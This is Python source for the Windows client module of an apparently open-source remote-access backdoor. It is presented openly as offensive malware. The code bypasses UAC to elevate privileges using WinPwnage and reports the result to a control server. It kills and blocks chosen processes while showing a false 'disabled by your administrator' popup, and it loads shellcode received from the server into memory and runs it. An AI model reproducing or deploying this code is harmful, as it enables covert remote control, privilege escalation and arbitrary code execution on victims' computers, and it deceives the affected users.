```python
"""
https://github.com/xp4xbox/Python-Backdoor

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"""
import ctypes
import os
import subprocess
import sys
import threading
import time

import pythoncom
import wmi

from io import StringIO

from src.client.control.control import Control
from src.definitions.commands import *

from winpwnage.core.scanner import function as elevate
from winpwnage.core.error import WinPwnageError


class Windows(Control):
    def __init__(self, _es):
        super().__init__(_es)

    # elevate with WinPwnage
    def elevate(self):
        old_stdout = sys.stdout

        # capture stdout for sending back to server
        sys.stdout = stdout = StringIO()

        payload = [f"{os.path.realpath(sys.argv[0])}"]

        # support for py file only
        if payload[0].endswith(".py"):
            payload = [f"{sys.executable}", f"\"{payload[0]}\""]

        for i in range(1, 8):
            try:
                elevate(uac=True, persist=False, elevate=False).run(id=str(i),
                                                                    payload=payload)
                break
            except WinPwnageError:
                pass

        stdout.seek(0)
        output = stdout.read()
        sys.stdout = old_stdout

        self.es.sendall_json(SUCCESS, output)

    def lock(self):
        ctypes.windll.user32.LockWorkStation()
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73      def toggle_disable_process(self, process, popup):
74          process = process.lower()
75
76          if process in self.disabled_processes.keys() and self.disabled_processes.get(
            process):
77              self.disabled_processes[process] = False
78              self.es.send_json(SUCCESS, f"process {process} re-enabled")
79              return
80          else:
81              self.disabled_processes[process] = True
82              self.es.send_json(SUCCESS, f"process {process} disabled")
83
84          # kill process if its running
85          subprocess.Popen(["taskkill", "/f", "/im", process], stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
86                           stdin=subprocess.PIPE, shell=True)
87
88          def message_box(message, title, values):
89              threading.Thread(target=lambda: ctypes.windll.user32.MessageBoxW(0,
                message, title, values)).start()
90
91          def block_process():
92              pythoncom.CoInitialize()
93
94              c = wmi.WMI(moniker=
                "winmgmts:{impersonationLevel=impersonate}!//./root/cimv2")
95
96              watcher = c.watch_for(raw_wql="SELECT * from __instancecreationevent
                within 1 WHERE TargetInstance isa "
97                                            "'Win32_Process'")
98
99              while True:
100                 process_wmi = watcher()
101
102                 if not self.disabled_processes.get(process):
103                     break
104
105                 if process_wmi.Name.lower() == process:
106                     process_wmi.Terminate()
107
108                     if popup:
109                         message_box(f"{process} has been disabled by your
                            administrator", title=process,
110                                     values=0x0 | 0x10 | 0x40000)
111
112         threading.Thread(target=block_process, daemon=True).start()
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139         # tested on x86 and x64, shellcode must be generated using the same architecture
            as python interpreter x64 fix
140         # from
            https://stackoverflow.com/questions/60198918/virtualalloc-and-python-access-violat
            ion/61258392#61258392
141         def inject_shellcode(self, buffer):
142             shellcode = self.es.recvall(buffer)
143
144             pid = os.getpid()
145
146             try:
147                 shellcode = bytearray(shellcode.decode('unicode-escape').encode(
                    'ISO-8859-1'))
148
149                 h_process = ctypes.windll.kernel32.OpenProcess(0x001F0FFF, False, int(pid
                    ))
150
151                 if not h_process:
152                     raise Exception(f"Could not acquire pid on {pid}")
153
154                 ctypes.windll.kernel32.VirtualAllocEx.restype = ctypes.c_void_p
155                 ctypes.windll.kernel32.RtlMoveMemory.argtypes = (ctypes.c_void_p, ctypes.
                    c_void_p, ctypes.c_size_t)
156                 ctypes.windll.kernel32.CreateThread.argtypes = \
157                     (ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.
                        c_int,
158                      ctypes.POINTER(ctypes.c_int))
159
160                 ptr = ctypes.windll.kernel32.VirtualAllocEx(h_process, 0, ctypes.c_int(len
                    (shellcode)),
161                                                             ctypes.c_int(0x3000),
162                                                             ctypes.c_int(0x40))
163
164                 buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
165
166                 ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.
                    c_size_t(len(shellcode)))
167
168                 ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ptr,
                     ctypes.c_int(0),
169                                                     ctypes.c_int(0), ctypes.pointer(ctypes
                                                        .c_int(0)))
170
171                 # wait a few seconds to see if client crashes
172                 time.sleep(3)
173
174             except Exception as e:
175                 self.es.send_json(ERROR, f"Error injecting shellcode {e}")
176             else:
177                 self.es.send_json(SUCCESS)
178
179
```